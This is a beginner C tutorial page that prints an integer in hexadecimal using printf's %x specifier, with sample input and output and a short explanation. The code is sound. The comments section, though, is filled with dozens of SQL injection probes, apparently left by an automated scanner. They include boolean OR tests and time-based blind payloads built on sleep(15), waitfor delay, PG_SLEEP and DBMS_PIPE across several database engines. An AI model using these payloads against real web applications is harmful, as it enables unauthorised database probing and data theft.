C Program to print given integer number in Hexadecimal format
Get a number from user and display the corresponding hexadecimal value
Sample Input 1:
11
Sample Output 1:
B
Sample Input 2:
20
Sample Output 2:
14
Program or Solution
//Program to print the given Integer in Hexa decimal format
#include<stdio.h>
int main()
{
int num;
printf("Enter an Integer Number:");
scanf("%d",&num);
printf("Equivalent Hex Value: %x",num);
return 0;
}
Program Explanation
scanf is a function available(predefined) in c library to get input from user via keyboard and stores the same in a variable.
Here it reads input number and stores it in a variable num.
Format Specifier "%d" reads input as integer number. (d for decimal number system) printf is a function available(pre defined) in C library which is used to print the specified content in Monitor.
Here it prints the value of the variable num.
Format Specifier "%x" prints value as Hexa decimal number.
Comments
ubaTaeCJ
-1 OR 2+320-320-1=0+0+0+1 --ubaTaeCJ
-1 OR 3+320-320-1=0+0+0+1 --ubaTaeCJ
-1 OR 3*2<(0+5+320-320) --ubaTaeCJ
-1 OR 3*2>(0+5+320-320) --ubaTaeCJ
-1 OR 2+862-862-1=0+0+0+1ubaTaeCJ
-1 OR 3+862-862-1=0+0+0+1ubaTaeCJ
-1 OR 3*2<(0+5+862-862)ubaTaeCJ
-1 OR 3*2>(0+5+862-862)ubaTaeCJ
-1' OR 2+80-80-1=0+0+0+1 --ubaTaeCJ
-1' OR 3+80-80-1=0+0+0+1 --ubaTaeCJ
-1' OR 3*2<(0+5+80-80) --ubaTaeCJ
-1' OR 3*2>(0+5+80-80) --ubaTaeCJ
-1' OR 2+735-735-1=0+0+0+1 or 'fQCmNRUN'='ubaTaeCJ
-1' OR 3+735-735-1=0+0+0+1 or 'fQCmNRUN'='ubaTaeCJ
-1' OR 3*2<(0+5+735-735) or 'fQCmNRUN'='ubaTaeCJ
-1' OR 3*2>(0+5+735-735) or 'fQCmNRUN'='ubaTaeCJ
-1" OR 2+311-311-1=0+0+0+1 --ubaTaeCJ
-1" OR 3+311-311-1=0+0+0+1 --ubaTaeCJ
-1" OR 3*2<(0+5+311-311) --ubaTaeCJ
-1" OR 3*2>(0+5+311-311) --ubaTaeCJ
if(now()=sysdate(),sleep(15),0)ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'ZubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"ZubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ubaTaeCJ
-1; waitfor delay '0:0:15' --ubaTaeCJ
-1); waitfor delay '0:0:15' --ubaTaeCJ
1 waitfor delay '0:0:15' --ubaTaeCJ
Oh7dgbTF'; waitfor delay '0:0:15' --ubaTaeCJ
-5 OR 690=(SELECT 690 FROM PG_SLEEP(15))--ubaTaeCJ
-5) OR 539=(SELECT 539 FROM PG_SLEEP(15))--ubaTaeCJ
-1)) OR 304=(SELECT 304 FROM PG_SLEEP(15))--ubaTaeCJ
xVz7eVzJ' OR 259=(SELECT 259 FROM PG_SLEEP(15))--ubaTaeCJ
45zTZGWS') OR 393=(SELECT 393 FROM PG_SLEEP(15))--ubaTaeCJ
zM4ChaCO')) OR 808=(SELECT 808 FROM PG_SLEEP(15))--ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'ubaTaeCJ
1'"ubaTaeCJ
@@8yxpIRelated Programs
- C Program to Print Welcome
- C Program to Print the given Message
- C Program to Print the given word
- C Program to print the given integer number
- C Program to print the given fractional number
- C Program to print the given fractional number in 2 digit decimal format
- C Program to print given integer number in octal format
- C Program to print given hexadecimal number in integer format
- C Program to print given octal number in integer format
- C Program to print the ASCII value of a character
- C Program to print the character for given ASCII value
- C Program to print two numbers with a space between them
- C Program to print two numbers with a tab space between them
- C Program to print two numbers in two lines
coming Soon
coming Soon